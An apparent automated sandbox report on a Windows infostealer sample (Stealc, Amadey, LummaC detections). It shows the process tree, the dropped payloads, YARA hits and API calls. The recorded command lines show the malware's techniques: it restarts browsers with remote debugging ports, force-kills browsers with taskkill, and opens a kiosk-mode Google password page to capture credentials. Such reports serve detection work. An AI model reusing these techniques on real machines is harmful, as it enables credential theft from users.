2024-11-19 00:01:45 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Target ID:	0
Start time:	19:01:13
Start date:	18/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa10000
File size:	1'826'816 bytes
MD5 hash:	85DE022B435230944001F8A62983E321
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2232954421.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2777086892.0000000000ADC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2777086892.0000000000A11000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2779347504.000000000169E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:01:23
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	19:01:24
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2224,i,5614877030029270763,4766560353645044380,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:01:33
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:01:33
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2324,i,10852513108120499400,1682595571776890846,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	19:01:33
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	19:01:34
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	19:01:38
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6884 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	19:01:38
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7052 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	19:01:39
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	19:01:39
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6848 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	19:02:09
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	19:02:09
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	19:02:09
Start date:	18/11/2024
Path:	C:\Users\user\DocumentsHDGCAAFBFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHDGCAAFBFB.exe"
Imagebase:	0x860000
File size:	1'925'632 bytes
MD5 hash:	542EE57C01AF5BE82D6F8CE3D1D9330F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2837234813.0000000000861000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2796420874.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	19:02:14
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd20000
File size:	1'925'632 bytes
MD5 hash:	542EE57C01AF5BE82D6F8CE3D1D9330F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2856885198.0000000005540000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 53%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	19:02:29
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe"
Imagebase:	0xbc0000
File size:	4'412'928 bytes
MD5 hash:	E1AAD757DFACC743077C8E5F4502F65C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	19:02:34
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6528 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	19:02:34
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Imagebase:	0x230000
File size:	1'907'200 bytes
MD5 hash:	4EF4E5CE9D34E265E89D281844D05CB6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 0000001B.00000003.3166330332.00000000054F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 0000001B.00000003.3166157698.00000000054EE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 0000001B.00000003.3221237929.00000000054F8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000003.3139660143.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	19:02:41
Start date:	18/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,3379168042552557769,16574727519639501784,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	19:02:51
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Imagebase:	0x230000
File size:	1'907'200 bytes
MD5 hash:	4EF4E5CE9D34E265E89D281844D05CB6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3345260829.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3294432672.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3364981384.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3378506086.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3349859652.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3294432672.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3359116369.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3375178151.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000003.3381436456.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	19:02:53
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe"
Imagebase:	0xe90000
File size:	1'826'816 bytes
MD5 hash:	85DE022B435230944001F8A62983E321
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.3225425875.0000000005490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.3278591825.0000000000E91000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	19:02:58
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe"
Imagebase:	0x1b0000
File size:	922'112 bytes
MD5 hash:	016C4FB48BA8451E45562E05A9F972E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	19:02:58
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x880000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	19:02:58
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	19:02:59
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe"
Imagebase:	0x230000
File size:	1'907'200 bytes
MD5 hash:	4EF4E5CE9D34E265E89D281844D05CB6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3420931591.0000000001297000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3384116320.00000000012A8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3383963705.0000000001299000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	19:03:00
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd20000
File size:	1'925'632 bytes
MD5 hash:	542EE57C01AF5BE82D6F8CE3D1D9330F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000003.3320256714.0000000005400000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000023.00000002.3362850184.0000000000D21000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	19:03:01
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x880000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	19:03:01
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	19:03:02
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x880000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	19:03:02
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	19:03:02
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x880000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	19:03:02
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	19:03:04
Start date:	18/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x880000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	19:03:04
Start date:	18/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	19:03:04
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe"
Imagebase:	0x190000
File size:	2'819'584 bytes
MD5 hash:	CE95AE34C1E8E0697B888A5357ADF7FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	19:03:06
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	19:03:07
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	19:03:07
Start date:	18/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	19:03:08
Start date:	18/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe"
Imagebase:	0xe90000
File size:	1'826'816 bytes
MD5 hash:	85DE022B435230944001F8A62983E321
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3475058567.0000000000E91000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000003.3382871470.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3473282666.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
